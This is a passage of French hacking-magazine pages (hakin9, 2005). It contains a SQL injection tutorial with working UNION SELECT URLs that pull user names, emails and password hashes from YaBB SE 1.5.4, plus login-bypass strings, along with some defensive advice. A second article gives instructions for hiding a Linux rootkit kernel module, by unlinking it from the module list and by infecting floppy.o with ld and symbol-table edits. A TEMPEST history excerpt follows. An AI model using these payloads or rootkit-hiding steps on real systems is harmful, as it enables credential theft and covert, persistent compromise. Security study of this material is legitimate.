À propos de l'auteurTobias Glemser travaille comme con-sultant spécialisé dans la sécurité des technologies de l'information depuis quatre ans. Il est actuellement employé au sein de la société Tele-Consulting GmbH, Allemagne (http://www.tele-consulting.com).

Tableau 1. Caractères de contrôle importants pour les injections SQL (MySQL)

Caractère de contrôle Signifi cation pour l'injection' (guillemet simple) Si le serveur répond par une erreur

SQL, l'application devient vulnéra-ble aux injections SQL

/* Tout ce qui suit est considéré comme commentaire extérieur

% Caractère de remplacement (Wild-card)

OR 1=1OR 1=’1OR 1=”1

Oblige une déclaration à devenir vraie

Figure 2. Résultat d'une injection

Figure 1. Injection SQL la plus petite possible pour cette forme

Page 34: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org32 hakin9 No 3/2005

Att

aque

le contrôle du nom de l'utilisateur en insérant la chaîne admin' /*, procédé plus simple (exposé dans la Figure 1, le résultat est visible dans la Figure 2).L'instruction, une fois manipulée, ressemblerait à ceci : SELECT * FROM

`userlist` WHERE `username = 'ad-

min ' /* OR 1='1' AND `password` = ''. N'oubliez pas : tout ce qui suit /* est ignoré du serveur SQL, faisant de ce caractère de contrôle un élément très puissant.

Attaques UNION SELECTAprès cette brève introduction aux techniques de base des injections SQL, nous pouvons maintenant aborder les injections du type UNION. Les attaques à double instruction UNION SELECT sont sans nul doute considérées comme les plus com-pliquées et complexes variations d'attaques par injection SQL.

Jusqu'à présent, nous avons modifi é les instructions existantes en réduisant ou désactivant la requête originale. Grâce à l'instruction UNION SELECT, nous sommes capables d'accéder à d'autres tables pour exécuter nos propres requêtes dans

l'application. Toutefois, il est très dif-fi cile d'obtenir une instruction UNION SELECT correcte et opérationnelle sans connaître au préalable le code source, car il faut connaître le nom des tables et des rangées.

Il est évident que de telles tech-niques sont plus faciles d'utilisation lorsque le code source de l'application est disponible. Considérons, par con-séquent, une telle situation en faisant appel au système de forum existant – soit YaBB SE Message Board (dis-ponible sur hakin9.live), un dérivé de YaBB écrit en Perl. YaBB SE n'est plus en développement, mais les fi chiers

– y compris la version utilisée – sont toujours disponibles sur le site de Sourceforge (voir l'adresse du site dans l'Encadré Sur le réseau). Nous allons utiliser la version 1.5.4, connue pour être peu sûre.

Il existe une attaque connue sur cette version du forum (voir le site http://www.securityfocus.com/bid/9449/, l'exploit revenant à quelqu'un se faisant appelé backspace). Cette méthode d'attaque modifi e la requête à la ligne 222 du script SSI.php (voir le Listing 2) et est associée à la fonc-tion recentTopics().

Où pouvons-nous interagir dans cette instruction ? La variable $ID _

MEMBER constitue un bon point de dé-part. Notre premier objectif consiste à forcer l'instruction ainsi qu'à vérifi er si le serveur retourne un message d'er-reur. Afi n d'y parvenir, il suffi t de pla-cer un caractère de contrôle à la fi n de la variable. Dirigeons donc notre navi-gateur vers SSI.php?function=recentTopics&ID_MEMBER=1’. Le serveur réagit en affi chant le message Unk-nown table 'lmr' in fi eld list (Table 'lmr' inconnue dans la liste des champs). Comme vous pouvez le constater, il existe une référence à une table lmr qui n'est pas référencée dans le reste de l'instruction interceptée.

L'étape suivante devrait con-sister à modifi er l'instruction afi n de reconstruire la référence. Afi n de trouver une instruction valide, il faudrait examiner le listing original, à l'emplacement précis où la table lmr est appelée. Nous trouverons la solution dans l'instruction LEFT JOIN {$db _ prefi x}log _ mark _ read AS lmr

Listing 1. Script login.php

<?php

if (!empty($username)) {/* (...) */

$query = "SELECT * FROM `userlist` WHERE `username` = '$username'

AND `password` = '$password'"; $result = mysql_query($query, $link);/* (...) */

while ($array = mysql_fetch_array($result)) { $logged_in = 'yes';

$username = $array[username];

$password = $array[password];

}

if ($logged_in == ‘yes’) { echo "hello $username, your password is $password<br />"; } else {

echo "not a valid user<br />";

}

/* (...) */

} else { echo "Login<br> <form name=\"login\" method=\"post\" action=\"\">

<p>Username<br /><input type=\"text\" name=\"username\" size=30><br />

<p>Password<br /><input type=\"password\" name=\"password\" size=30>

</p><input type=\"submit\" value=\"Login\"></form>";

}

?>

Listing 2. Requête SQL de SSI.php, ligne 222

$request = mysql_query(" SELECT m.posterTime, m.subject, m.ID_§TOPIC, m.posterName, m.ID_MEMBER, IFNULL(mem.realName, m.posterName) §AS posterDisplayName, t.numReplies, t.ID_BOARD, t.ID_FIRST_MSG, b.name §AS bName, IFNULL(lt.logTime, 0) AS isRead, IFNULL(lmr.logTime, 0) §AS isMarkedRead FROM {$db_prefi x}messages AS m, {$db_prefi x}topics §AS t, {$db_prefi x}boards as b LEFT JOIN {$db_prefi x}members AS mem §ON (mem.ID_MEMBER=m.ID_MEMBER) LEFT JOIN {$db_prefi x}log_topics §AS lt ON (lt.ID_TOPIC=t.ID_TOPIC AND lt.ID_MEMBER=$ID_MEMBER) §LEFT JOIN {$db_prefi x}log_mark_read AS lmr ON (lmr.ID_BOARD=t.ID_BOARD §AND lmr.ID_MEMBER=$ID_MEMBER) WHERE m.ID_§MSG IN (" . implode(',', $messages) . ") AND t.ID_TOPIC=m.ID_TOPIC §AND b.ID_BOARD=t.ID_BOARD ORDER BY m.posterTime DESC;") §or database_error(__FILE__, __LINE__);

Page 35: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 33hakin9 No 3/2005

Attaques par injections SQL

ON (lmr.ID _ BOARD=t.ID _ BOARD AND

lmr.ID _ MEMBER=$ID _ MEMBER).Afi n de transformer cette instruc-

tion en instruction SQL valide, nous devons l'agrandir en trois étapes. Tout d'abord, nous supprimons le guillemet placé après le 1 puis nous le rempla-çons par le caractère ). Ce qui permet d'achever la ligne ID _ MEMBER=$ID _

MEMBER. Il suffi ra, ensuite, d'ajouter la ligne trouvée dans l'instruction originale puis de l'améliorer avec le caractère de contrôle /*, ce afi n d'em-pêcher l'application de traiter le code qui suivait. La nouvelle connexion est la suivante : SSI.php?function=recentTopics&ID_MEMBER=1) LEFT JOIN yabbse_log_mark_read AS lmr ON (lmr.ID_BOARD=t.ID_BOARD AND lmr.ID_MEMBER=1) /*. La page désormais affi chée ne donne aucun résultat de recherche.

Si nous utilisons les injections SQL, il semblerait que notre requête soit correcte. Mais où donc placer notre requête UNION SELECT toujours absente ? Nous pouvons tout sim-plement améliorer cette instruction au moyen de la chaîne appropriée UNION SELECT. Par approprié nous n'enten-dons pas seulement valide, mais éga-lement référencé vers les informations que nous souhaitons obtenir du sys-tème. Si nous considérons la structure des bases de données MySQL, nous devrions trouver une table appelée yabbse_members contenant – entre autres – le nom de l'utilisateur, le mot de passe haché avec la fonction md5_hmac, l'adresse e-mail etc. En supposant que nous disposions d'un accès pour exécuter une requête SQL de type SELECT qui consiste à sélec-tionner les champs nommés, nous uti-liserions une instruction de ce genre : SELECT memberName, passwd, emailAd-

dress FROM yabbse _ members.Nous améliorons donc notre ins-

truction d'injection grâce à l'expres-sion SELECT puis nous ajoutons le mot magique UNION. Ce procédé encou-rage la base de données à associer l'instruction originale SELECT à celle que nous avons ajoutée nous-mêmes. Le résultat obtenu est une combinai-son de nos deux requêtes contenant l'ensemble des rangées à partir des

deux sélections. Nous pouvons dé-sormais appeler SSI.php?function=recentTopics&ID_MEMBER= 1) LEFT JOIN yabbse_log_mark_read AS lmr ON (lmr.ID_BOARD=t.ID_BOARD AND lmr.ID_MEMBER=1) UNION SELECT ID_MEMBER, member-Name FROM yabbse_members /*. Malheureusement, cette déclaration renvoie le message suivant : The used SELECT statements have a different number of columns (Les instructions utilisées SELECT con-tiennent un nombre différent de colonnes). En effet, le nombre de co-lonnes sélectionnées au moyen de la requête UNION doit être identique pour les deux tables.

Il nous faut donc passer le nom-bre de colonnes sélectionnées de la première instruction à 12 – notre SELECT après UNION n'en comporte que trois pour le moment. Afi n d'améliorer notre instruction, nous devrions ajouter une option de type null chargée de compter sans trans-porter aucune donnée, bien entendu. Ce qui nous conduit à la nouvelle connexion suivante : SSI.php?function=recentTopics&ID_MEMBER= 1) LEFT JOIN yabbse_log_mark_read AS lmr ON (lmr.ID_BOARD=t.ID_BOARD AND lmr.ID_MEMBER=1 OR 1=1) UNION SELECT member-Name, emailAddress, passwd, null, null, null, null, null, null, null, null, null FROM yabbse_members /*.

Nous pouvons déjà voir s'affi cher une adresse e-mail sur l'écran de résultat, mais où se trouve le reste des colonnes choisies ? Si nous examinons le code source – notam-ment celui de l'analyseur syntaxique HTML qui permet de rendre visible le résultat de la requête SQL sur le site Web – nous aurons la possibilité de voir où et comment le résultat de

notre instruction SELECT est analysée syntaxiquement. Après avoir modifi é les arguments de notre instruction SELECT, nous pouvons appeler dé-sormais SSI.php?function=recentTopics&ID_MEMBER=1) LEFT JOIN yabbse_log_mark_read AS lmr ON (lmr.ID_BOARD=t.ID_BOARD AND lmr.ID_MEMBER=1 OR 1=1) UNION SELECT null, member-Name, null, emailAddress, null, passwd,null,null,null,null,null,null FROM yabbse_members /*.

Enfi n, nous pouvons voir le nom de l'utilisateur ainsi que le mot de passe haché. L'adresse e-mail de-meure cependant cachée sous le lien du mot de passe haché (voir la Figure 3). Nous avons tout de même atteint notre objectif : nous avons obligé l'application à traiter une ins-truction SELECT vers les tables autres que le script original.

C'est pas sorcier !Comme nous l'avons déjà évoqué, les injections SQL sont en réalité une sorte d'attaque par validation d'entrée. Ces attaques sont très effi caces sur les applications qui analysent l'ensemble des données d'entrée de l'utilisateur de manière directe sans aucun contrôle, ainsi que sur les applications où l'ensem-ble des caractères de contrôle (tels que la barre oblique – slash ou la barre oblique inverse – backslash) sont interprétés. En tant que pro-grammeur, vous devez vous assurer que toutes les données d'entrée de l'utilisateur soient validées puis dé-sarmées. Il vous est possible dans ce cas, d'ajouter tout simplement la fonction addslash() à chaque donnée d'entrée des utilisateurs avant de les traiter. Si cette fonction est bien ajoutée, l'ensemble des caractères

Figure 3. Noms des utilisateurs et mots de passe hachés après l'attaque UNION SELECT

Page 36: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org34 hakin9 No 3/2005

Att

aque

' (guillemet unique), " (guillemet double), \ (barre oblique inverse) et NULL sera annulé au moyen d'une barre oblique inverse à la fi n de cha-que instruction, chargée d'indiquer à l'interpréteur PHP de ne pas utiliser ces caractères comme caractères de contrôle, mais plutôt comme des éléments normaux du texte.

Un administrateur pourrait égale-ment avoir la possibilité de protéger ses applications Web en modifi ant le fi chier php.conf afi n de protéger l'en-semble des données d'entrée. Pour ce faire, il est possible de modifi er les variables magic _ quotes _ gpc = On pour toutes les requêtes GET/POST ainsi que pour les données du cookie et les variables magic _ quotes _ run-

time = On pour les données issues de l'ensemble de SQL, exec() etc. La majorité des distributions Linux font déjà appel à ces valeurs par défaut – uniquement dans le but d'obtenir un niveau basique de sécurité sur le serveur Web qu'elles contiennent. Tous ces pièges peuvent être évités sur des installations PHP dont la syn-taxe est propre.

Mais que se passerait-il si nous disposions d'autres instructions pou-vant être insérées sans avoir recours aux guillemets ? La plupart des attaques par injections SQL serait alors bloquée, mais qu'adviendrait-il pour la partie suivante de la famille, comme XSS (cross-site scripting) ? Il subsiste encore des possibilités, par exemple au moyen d'une inser-tion de la balise HTML <iframe>. Grâ-ce à cette technique, l'auteur d'une attaque pourrait facilement insérer sa propre page HTML sur votre site. Il revient donc au programmeur de sécuriser chaque donnée d'entrée des utilisateurs modifi ables contre les autres attaques du type XSS. Si un développeur souhaite disposer d'une classe parfaitement dévelop-pée afi n de purger les chaînes utili-sateurs de caractères malveillants, il est fort probable qu'il veuille faire appel à Open Web Application Se-curity Project du projet PHP Filters. Vous pouvez consulter le site dont l'adresse est indiquée dans l'Enca-dré Sur le réseau.

Examinons maintenant les con-séquences que peuvent avoir les magic quotes (guillemets magiques) avec un exemple : supposons que quelqu'un entre la chaîne Jenny's my beloved wife ! dans un champ de formulaire. La commande SQL sous-jacente est alors $query =

"INSERT INTO postings SET content

= '$input'"; Que se passe-t-il dans l'ensemble de la chaîne de la requête si un programmeur ou un administra-teur y ajoute des barres obliques ? La chaîne deviendrait alors $query = "INSERT INTO postings SET content =

'Jenny\'s my beloved wife!'";. Ainsi, le guillemet simple est dépourvu de pertinence en ce qui concerne la requête, car il ne fait plus partie de la chaîne. Si quelqu'un désire affi -cher la requête sur votre site Web, il faudra qu'il utilise la fonction PHP stripslashes() afi n de supprimer de la chaîne les barres obliques gênan-tes pour rendre cette dernière de nouveau lisible.

Mais, que se passe-t-il si le programmeur et l'administrateur ajoutent tous les deux des barres obliques ? Y aura-t-il un ou deux barres obliques ? Il y en aura en réalité trois. Bien sûr, le premier est inséré par PHP en raison de la con-fi guration, le second est inséré par la fonction addslashes() – il n'existe aucun moyen pour que cette fonction reconnaisse les caractères neutrali-sés. Le troisième est précisément l'annulation ajoutée encore une fois par la fonction addlashes() pour annuler le caractère d'annulation (escape) ajouté par PHP. Pourquoi la fonction devrait-elle noter que le guillemet simple est déjà supprimé ? Le véritable défi serait de retrouver maintenant notre chaîne originale – il nous faut réduire le nombre de barres obliques. Bien sûr, la fonc-tion stripslashes() va échouer et la seule façon de corriger le script con-siste donc à contrôler la présence de

magic quotes dans le serveur en lan-çant get _ magic _ quotes _ gpc().

Enfi n, il faut également s'assurer que la fonction magic _ quotes _ run-

time() n'est pas activée. À ce sujet, le manuel d'utilisation PHP dit : Si magic_quotes_runtime est activée, la majorité des fonctions chargées de retourner des données à partir d'une quelconque source externe, parmi lesquelles des bases de données et des fi chiers textes, contiendra des guillemets annulés. Heureusement, il est possible d'annuler cet effet manuellement.

D'autres techniques d'attaquesIl existe bien sûr d'autres techniques d'Injections SQL également capables de modifi er des données existantes en pénétrant les instructions SQL au moyen des commandes SET, ou même de supprimer des tables si le script permet de poster des requêtes à plu-sieurs lignes. Dans le cas du langage PHP, ces techniques sont possibles uniquement si la requête vulnérable a déjà exécuté une commande SET ou DROP TABLE, puisque les requêtes traitées par mysql _ query() sont cen-sées ne pas contenir le caractère ; (qui ferme l'instruction pour le serveur SQL). Il est impossible de terminer une instruction et d'en débuter une autre si les requêtes sont exécutées au moyen de mysql _ query().

Vous pouvez voir à quel point ces attaques sont dangereuses quand elles utilisent les injections SQL et combien il est diffi cile d'élaborer des scripts fi ables et sécurisés toujours capables de délivrer les bonnes données. La seule et unique règle à respecter est la suivante : Ne faites jamais confi ance à vos utilisateurs (vraiment, jamais !). Le programmeur devra s'assurer de toujours contrôler les données d'entrée de l'utilisateur en cas de pièges dans les données et ce afi n de les désarmer. n

Sur le réseau :• http://prodownloads.sourceforge.net/yabbse/ – référentiel du projet YaBB SE,• http://www.owasp.org – Open Web Application Security Project.

Page 37: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi
Page 38: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org36 hakin9 No 3/2005

Att

aque

Dans l'article publié dans le numéro précédent (Rootkit personnel dans GNU/Linux, hakin9 2/2005), nous

avons présenté le processus de création d'un rootkit pour le système GNU/Linux avec le noyau de la série 2.4. Le rootkit – vous le trouverez sur le CD hakin9.live joint au maga-zine – était chargé dans le noyau du système d'exploitation à l'aide d'un module. Comme nous l'avions dit, le module chargé (conte-nant le code qui intercepte l'appel système getdents()) n'était pas dissimulé. C'est pour-quoi, il était facile à détecter – par exemple, à l'aide de la commande cat /proc/modules qui affi che tous les modules chargés actuel-lement dans le système.

Dans cet article, nous allons nous occuper des méthodes qui permettront de dissimuler un module quelconque dans le système. Vous allez connaître deux techniques fondamen-tales – la première consiste à déconnecter le module de la liste des modules chargés, et la seconde – à ajouter le module à un autre module typique utilisé ordinairement par le système d'exploitation (cette technique permettant d'éveiller moins de soupçons, est plus effi cace).

Méthodes de dissimulation des modules du noyau dans LinuxMariusz Burdach

L'insertion d'un rootkit en module dans le noyau est le début de la tâche de l'intrus. Pour rester inaperçu, il faut trouver le moyen de cacher ce code de façon à ne pas éveiller des soupçons.

Déconnecter un module de la listePour déconnecter un module de la liste, nous allons exploiter la technique qui consiste en la modifi cation directe des objets dans la mémoire réservée pour le noyau du système d'exploitation (en anglais direct kernel object manipulation). Cette technique, contraire-ment à celle décrite dans l'article précédent, ne modifi e pas le fonctionnement du système d'exploitation – en effet, l'objet caché est plus

Cet article explique...• comment cacher les modules du noyau de

Linux.

Ce qu'il faut savoir...• comment fonctionne le noyau du système

Linux,• créer des modules du noyau, même les plus

simples,• connaître le langage C au moins au niveau de

base.

Page 39: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 37hakin9 No 3/2005

Dissimulation des modules du noyau dans Linux

diffi cile à détecter. Comme vous vous rappelez, pour fi ltrer certai-nes données (p. ex. le numéro du processus ou le nom de fi chier), il faut intercepter une ou plusieurs fonctions agissant dans l'espace du noyau du système d'exploitation. Dans cette méthode, aucune fonc-tion ne sera interceptée, mais nous allons modifi er les objets représen-tant les modules actifs.

Liste des objetsDans la mémoire vive, tous les objets représentant les modules

sont liés à travers une liste. L'objet d'un module dernièrement chargé pointe vers l'objet du module chargé précédemment. Le corps de la fonction init _ module() se présente ainsi :

this_module.next = § this_module.next->next;

De plus, l'objet du module chargé en premier pointe vers l'objet du module dernièrement chargé. Cette situation a été présentée sur la Figure 1.

C'est cette liste qui est lue par la fonction système query _ module() (appelée par le programme lsmod). La structure de chaque objet repré-sentant le module contient le champ next qui pointe vers l'adresse de l'ob-jet du module précédemment chargé. Chaque objet (module) pointe vers le module chargé précédemment en constituant ainsi une liste des objets interconnectés, ce qui est présenté sur la Figure 1.

La méthode la plus simple pour cacher un module consiste à dé-connecter l'objet représentant un module de la liste. Comme vous pouvez deviner, il suffi t de modifi er le champ next.

Le mode opératoire est le sui-vant :

• nous chargeons le module X (c'est le module que nous vou-lons cacher),

• nous chargeons le module Y qui pointe vers le module X,

• nous modifi ons le champ next de l'objet du module Y qui pointe vers l'objet du module X – le champ next doit contenir l'adresse de l'objet qui précède le module X (l'état avant et après la modifi cation est présenté sur la Figure 2),

• nous supprimons le module Y de la mémoire ; lors du processus de suppression du module de la mémoire, la fonction sys _ dele-

te _ module() modifi era la liste des modules connectés. Pendant la modifi cation, la fonction utilisera le champ next de l'objet du module Y.Vu que le champ next a été mo-difi é (il pointe maintenant vers le module suivant – Z), la liste sera mise à jour de façon incorrecte (en négligeant notre module X).

Attention : après une telle modifi ca-tion de la liste, il sera impossible de supprimer le module X de la mémoi-re – pour cela, il faudra redémarrer le système d'exploitation.

À ce moment, nous avons atteint notre but. Le module fonctionne cor-rectement et n'est pas présent sur la liste des modules actifs.

Figure 1. La liste des modules interdépendants

Figure 2. L'état du système avant et après la modifi cation de la liste

Page 40: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org38 hakin9 No 3/2005

Att

aque

Ajout des modulesUne autre technique permettant de cacher effi cacement le module consiste à lier ce module à un autre module chargé par défaut par le sys-tème d'exploitation. Cela peut être, par exemple, le module responsable de la gestion de la carte réseau, du système de fi chiers ou du fi ltre de paquets. Le plus grand avantage de cette solution est qu'il ne faut pas se soucier du démarrage du module parce qu'il sera lancé automatique-ment par le système d'exploitation.

Il est possible d'établir un lien car le module est un fi chier de type ELF réallouable (en anglais Executable and Linking Format – cf. l'article de Marek Janiczek Ingénierie inverse du code exécutable ELF dans l'ana-lyse après intrusion, hakin9 1/2005). Ce qui est important pour nous, c'est que le fi chier contient du code et des données que nous pouvons lier à un autre fi chier de même type. En résul-tat, nous pouvons obtenir un fi chier exécutable réallouable. Grâce à cet-te propriété, nous sommes capables de lier deux modules l'un à l'autre.

Mais il y a une condition impor-tante : les symboles des objets liés ne peuvent pas se répéter (si l'on lie le module A au module B, les sym-boles qui s'y trouvent ne doivent pas avoir des noms identiques – il s'agit avant tout des symboles : init _ mo-

dule et cleanup _ module).Les deux modules sont liés

à l'aide de l'éditeur des liens ld qui fait partie du paquet binutils. Ce pa-quet est disponible par défaut dans chaque distribution de Linux. Il faut aussi utiliser l'option -r, pour obtenir en résultat un objet réalloué – c'est-à-dire, dans notre cas, le module résultant que nous renommerons ensuite avec le nom original. Par exemple, si nous voulons infecter le module fl oppy.o, la procédure se présentera comme suit :

# ld -r fl oppy.o rootkit.o \

-o new.o

# mv new.o fl oppy.o

La meilleure idée est de choisir le module qui est chargé lors du dé-marrage du système d'exploitation

– pour obtenir la liste de tous les modules chargés, il faut exécuter la commande lsmod. Dans Linux, les fi chiers de modules se trouvent dans le sous-répertoire /lib/modules/.

Pourtant, comme nous l'avions déjà dit, avant d'effectuer les liens, il faut modifi er l'un des modules de façon à ce que les noms des symbo-les ne se répètent pas.

Modifi cation du moduleChaque module qui sera chargé par le système d'exploitation doit posséder au moins deux symboles : init _ module et cleanup _ module. Ces symboles sont utilisés pendant le processus du chargement et de la suppression du module dans et de la mémoire. Lors du charge-ment d'un module dans la mémoire à l'aide de l'outil insmod, la fonction obj _ fi nd _ symbol localise l'adresse de la fonction init _ module, pour que cette adresse, dans la dernière étape de l'initialisation, soit exploitée par la fonction init() pour l'appeler (init _ module).

Nous savons que lors de l'initiali-sation du module, la fonction init _

module est appelée. De cela, l'unique chose à faire après l'établissement des liens, est la modifi cation du mo-dule de façon à appeler la fonction d'initialisation du module ajouté, et pas du module original auquel nous ajoutons notre code. Pour que le code du module original soit aussi démarré, nous devons appe-ler dans notre module la fonction

Listing 1. La structure de la section .symtab

typedef struct{

Elf32_Word st_name; /* Symbol name (string tbl index) */

Elf32_Addr st_value; /* Symbol value */

Elf32_Word st_size; /* Symbol size */

unsigned char st_info; /* Symbol type and binding */

unsigned char st_other; /* Symbol visibility */

Elf32_Section st_shndx; /* Section index */

} Elf32_Sym;

Figure 3. La table des chaînes de caractères (.strtab) dans le champ au format ELF

Listing 2. La structure du module modifi é que nous avons l'intention de lier au module original

init_modula()

{

...

init_modulx();

}

cleanup_modula()

{

...

cleanup_modulx();

}

Page 41: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 39hakin9 No 3/2005

Dissimulation des modules du noyau dans Linux

d'initialisation du module original. N'oubliez pas non plus que dans ces deux modules, les symboles ne doi-vent pas être identiques.

Étant donné que nous n'avons pas toujours accès au code source du module original, il est néces-saire que notre module soit modifi é de façon appropriée (cf. l'article Rootkit personnel dans GNU/Linux, hakin9 2/2005).

Pendant la modifi cation, il ne faut pas oublier une autre limitation relative à la longueur des noms des fonctions. Tous les symboles pour les objets ELF se trouvent dans la table des symboles .symtab. La structure de la section est présentée dans le Listing 1 (vous la trouverez aussi dans le fi chier d'en-tête /usr/include/elf.h).

Le contenu de la section .symtab d'un module donné peut être affi ché à l'aide de la commande :

$ readelf -s <nom_du_module>.o

Le champ st _ name est un poin-teur à la table contenant les noms de tous les symboles. Cette table (.strtab) comprend les chaînes de caractères terminées par le carac-tère null. L'exemple est présenté sur la Figure 3.

Modifi cation des noms des fonctionsPour appeler une fonction ap-propriée lors de l'initialisation du module, il faut modifi er le contenu de cette table. La méthode la plus simple consiste à modifi er les noms de certains symboles dans le fi chier de résultat lié – il faudra changer le nom de la fonction init _ module en, par exemple, init _ modulx. Pourtant, n'oubliez pas qu'avant la modifi -cation, init _ module pointe vers la fonction du module original.

Avant la compilation de notre module, nous devons choisir le nom de la fonction d'initialisation. Nous savons que cela ne peut pas être init _ module. De plus, le nom de la fonction doit être constitué du mê-me nombre (ou inférieur) de carac-tères qu'init _ module, par exemple

11 caractères. Dans notre cas, que ce nom soit init _ modula. Après le linkage, nous devons encore chan-ger ce nom en init _ module – ainsi, pendant le chargement du module dans la mémoire, la fonction init() appellera la fonction d'initialisation à partir du module ajouté.

Pour laisser les fonctions du module original, nous devons à partir de notre module, appeler la fonction originale init _ module (nommée déjà init _ modulx). Cela signifi e qu'avant la compilation de notre module, nous devons connaî-tre déjà le nom futur de la fonction originale init _ module (ici, nous l'avons appelée init _ modulx).

Nous devons effectuer la même opération pour la fonction clea-

nup _ module. Nous admettons que la fonction originale cleanup _ module portera le nom cleanup _ modulx. De plus, dans le code de notre module, nous changerons le nom de clea-nup _ module en cleanup _ modula, et le corps de la fonction contiendra le renvoi à la fonction originale clea-nup _ module (alors, après modifi ca-tion, cleanup _ modulx).

Le structure de notre module à compiler devra être similaire à celle du Listing 2.

Le code source entier (prêt à être lié) est disponible sur le CD joint au magazine. Après la compilation du module et le linkage, nous obtenons le module résultant qui doit avoir le même nom que le module original (par exemple fl oppy.o).

Modifi cation de la table .strtabLa dernière opération à faire est la modifi cation de la table contenant les chaînes de caractères (.strtab). Comme nous pouvons supposer, la modifi cation du module résultant con-siste à modifi er quelques lettres dans l'endroit approprié. La méthode plus élégante consistera à construire de nouveau les tables .strtab et .symtab. Quant à nous, nous nous concentre-rons sur la modifi cation manuelle.

Les modifi cations dans le tableau se ramènent à la modifi cation des noms suivants (dans l'ordre donné ci-dessous) :

• init _ module en init _ modulx,• init _ modula en init _ module,• cleanup _ module en cleanup _ mo-

dulx,• cleanup _ modula en cleanup _ mo-

dule.

Pour modifi er la table .strtab, nous pouvons exploiter un éditeur hexa-décimal quelconque, par exemple hexedit. Pour obtenir le décalage dans le module binaire à partir du-quel la table commence, nous pou-vons utiliser la commande readelf -S fl oppy.o, comme cela est présenté au-dessous :

$ readelf -S fl oppy.o \

| grep .strtab

[21] .strtab STRTAB § 00000000 0119e0 001279 00 0 0 1

Maintenant, nous n'avons qu'à charger le module de l'éditeur bi-naire et à modifi er les symboles appropriés.

Maintenant, nous pouvons charger le module fl oppy.o infecté et le placer dans le sous-réper-toire approprié dans le répertoire /lib/modules (/lib/modules /kernel/drivers/block/ ).

Beauté de la simplicitéLes méthodes de dissimulation des modules présentées dans cet article sont très simples à comprendre, et ce qui est le plus important – effi -caces. Grâce à elles, la dissimulation du code malicieux (sous forme d'un module) dans un système Linux est simplissime.

Mais ce ne sont pas toutes les diffi cultés auxquelles l'auteur des rootkits doit faire face. Il peut arriver que la fonction de chargement des modules soit désactivée dans le système. Notre rootkit basé sur le module sera donc inutile, et il faudra utiliser d'autres techniques. Heu-reusement, il existe des méthodes permettant d'éviter tous ces incon-vénients, mais c'est un sujet pour un autre article. n

Page 42: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org40 hakin9 No 3/2005

Att

aque

Les premières études concernant le phénomène de compromission des on-des électromagnétiques remontent aux

années 1950. C’est en espionnant les trans-missions de messages russes encryptés que la NSA s’aperçut de faibles cliquetis parasites dans la tonalité porteuse, qu’émanaient des électro-aimants de la machine d’encodage. En construisant le dispositif approprié, il fut possi-ble de reconstruire le texte en clair sans avoir à décrypter les transmissions. Ce phénomène pris successivement les noms de NAG1A, puis FS222 dans les années 60, NACSIM5100 dans les années 70, et fi nalement TEMPEST (acro-nyme pour Transient Electromagnetic Pulse Emanation Standard, bien que cette version soit également controversée) à partir de 1980.

En 1985 un scientifi que Hollandais, Wim van Eck, publia un rapport sur les expérien-ces qu’il menait depuis janvier 1983 dans ce domaine. Il montre qu’un tel système est réalisable avec peu de moyen, cependant il ne donne que très peu de données concer-nant les expériences elles-mêmes. En 1986 et 1988 des rapports complémentaires furent publiés, suite à l’article de van Eck, mais sans apporter d’autres informations concernant les

TEMPEST – émissions compromettantesRobin Lobel

TEMPEST, aussi connu sous le nom de Van Eck Phreaking, est l'art de transformer des émissions involontaires en données compromettantes. Cela concerne principalement les ondes électromagnétiques, mais le principe peut être aussi bien appliqué à n'importe quel type d'émanations involontaires induites par le fonctionnement interne d'un périphérique. Le plus commun des phénomènes TEMPEST est relatif aux moniteurs CRT.

À propos de l'auteurRobin Lobel a mené plusieurs projet de re-cherche informatique depuis quelques années, entre autre compression audio, analyse d'ima-ges temps réel, moteur 3d temps réel, etc. Il a étudié de manière approfondie le système TEMPEST en 2003 et eu la chance de dispo-ser d'un laboratoire complet pour mener à bien ses expériences. Il aime aussi composer de la musique et faire du graphisme 2D/3D. Étudie actuellement le cinéma à Paris. Son site web : http://www.divideconcept.net.

Cet article explique...• vous aurez assez de connaissance pour com-

mencer à construire votre propre système TEM-PEST.

Ce qu'il faut savoir...• vous devez avoir quelques notions de montage

électronique,• vous devez connaître les bases de l'électroma-

gnétisme.

Page 43: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 41hakin9 No 3/2005

Émissions compromettantes

expériences. En 1998 John Young, un citoyen américain, demande à la NSA de publier des informa-tions déclassifi ées concernant le système TEMPEST. Voyant sa re-quête rejetée, il fait appel et obtient fi nalement en 1999 quelques docu-ments, mais largement censurés. Très peu d’informations sont dis-ponible sur ce système. La plupart des documents ne font qu’exposer superfi ciellement le phénomène, sans rentrer dans les détails d’une expérience pratique.

